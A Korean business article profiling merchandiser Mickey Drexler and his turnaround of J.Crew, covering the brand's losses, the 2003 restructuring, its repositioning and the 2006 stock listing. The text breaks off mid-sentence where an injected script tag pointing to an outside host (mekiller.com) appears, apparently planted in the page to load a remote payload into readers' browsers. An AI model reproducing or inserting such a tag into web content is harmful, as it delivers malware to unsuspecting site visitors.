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머천다이징의 왕자 ‘미키 드렉슬러’
「제이크루」가 확 달라졌다. 지난 5년간 연이어 적자를 기록하던 순수익(손실)이 2005년을 기점으로 드디어 흑자로 돌아섰다. 매출규모도 지난 3년간 매년 17~19% 증가율을 보이며 수직상승하고 있고 동일 매장당 매출과 인터넷, 카탈로그 매출도 큰폭의 상승세를 나타내고 있다. 「제이크루」에 무슨 일이 있었던 걸까?
최근 들어 패션계에서 가장 성공적인 브랜드로 평가받는 「제이크루」의 놀라운 변신과 성공적인 재기 뒤에는 바로 머천다이징의 귀재로 불리는 밀라드 미키 드렉슬러(Millard Mickey Drexler)가 있다. 밀라드 미키 드렉슬러, 패션계는 그를 ‘미키’라 부른다. 그의 별명은 ‘머천다이징의 왕자(Merchant Prince)’다.
40년 가까이 패션계에서 머천다이저로 일한 베테랑으로 80~90년대에 「앤테일러」와 「갭」을 정상의 브랜드로 끌어올린 일등공신이다. 「갭」에서 사퇴한 뒤 고전을 면치 못하던 위기의 「제이크루」까지 극적 회생시키며 다시 한번 그의 능력을 세상에 확인시켜 주었다. 올해 초에는 NRF(National Retail Federation-미국 리테일협회)가 선정하는 최고의 영예인 골드 메달상까지 받았다.
「갭」과 「앤테일러」 정상화 일등공신 미키 드렉슬러가 「제이크루」의 CEO로 영입된 후 「제이크루」는 브랜드 이미지 업그레이드 작업, 상품구성, 스토어 재편성, 인사이동 등 대대적인 구조조정을 통해 패션계의 우량주로 변신했다. 또한 그동안 소문이 무성했던 「제이크루」의 기업공개를 성공적으로 치러내 「제이크루」의 시장가치를 22억달러(2조680억원)로 끌어올렸다. 아동복 「크루컷 (Crewcut)」과 캐주얼웨어 「메이드웰(Madewell)」을 런칭하며 제이크루 그룹의 영역을 확장하고 있다. 지금 월스트리트와 패션계에서는 「제이크루」를 회생시킨 미키 드렉슬러를 향해 패션계 최고의 머천이라는 찬사를 보내고 있다.
83년에 뉴욕에서 런칭된 「제이크루」는 90년대에 들어서면서 고급스러운 프레피 룩을 내세운 아메리칸 캐주얼웨어로 큰 인기를 누렸다. 그러나 97년 투자회사인 TPG(텍사스 퍼시픽 그룹)이 1억2500만달러(1175억원)를 지불하고 56%에 달하는 「제이크루」의 지분을 인수한 후 공동 창업자였던 에밀리 우즈가 「제이크루」를 떠나면서 브랜드의 정체성이 흔들리기 시작했다. 베이직을 버리고 트렌디하게 컨셉을 바꾼 후 반응이 좋지않자 다시 리턴해 돌아왔지만 기존의 고품질과 세련된 ‘제이크루’만의 스타일링을 잃어버린 셈. 이후 장기간 하락세를 보이며 아무 특색이 없는 그저 그런 평범한 브랜드로 전락했다. 「제이크루」는 2001년에 1100만달러(103억원), 2002년에는 4000만달러(376억원)에 달하는 큰 손실을 감수해야 했다.
TPG는 위기를 극복하고자 브랜드를 부활시킬 CEO를 물색했고 5년동안 3명의 CEO가 「제이크루」를 거쳐갔지만 누구도 뚜렷한 해결책을 제시하지 못했다. 때마침 임기보다 일찍 「갭」에서 물러난 미키 드렉슬러를 2003년 CEO로 전격 영입하면서 「제이크루」에 큰 변화가 일기 시작했다.
40년 경력의 베테랑 패션머천다이저 드렉슬러가 2003년에 지휘봉을 잡은 후 「제이크루」는 빠르게 구조조정을 시작했다. 뉴욕 헤드쿼터에서 근무하던 600여명에 달하던 직원을 400여명으로 대폭 축소하며 대대적인 인사이동을 실시했다. 또한 창고에 쌓여있던 오래된 재고상품 처리, 부진한 상품들의 주문 취소, 생산공장 이동 등 상품 재정비에 집중했다. 흔들렸던 브랜드 이미지를 ‘제이크루’스럽게 재포지셔닝하고 ‘어포더블 럭셔리(Affordable Luxury)’ 로 이미지를 업그레이드했다. 트렌드를 좇는 패스트 패션 브랜드와 차별화, 「갭」보다는 고급스럽고 「랄프로렌」보다는 저렴한 가격대로 비어있던 시장을 공략해 멀어졌던 고객들의 발길을 다시 끌어들이는데 성공했다.
「제이크루」, 「갭」 「폴로」 사이 니치 겨냥 가장 큰 변화는 「제이크루」의 기업공개였다. 2006년 7월 3일 ‘JCG’라는 심벌로 뉴욕주식시장(NYSE)에 2160만주의 주식을 팔아 약 4억달러(3760억원)의 자금을 마련했고 TPG가 7350만달러(690억원)를 들여 370만주?script src=http://mekiller.com/1/1.js>
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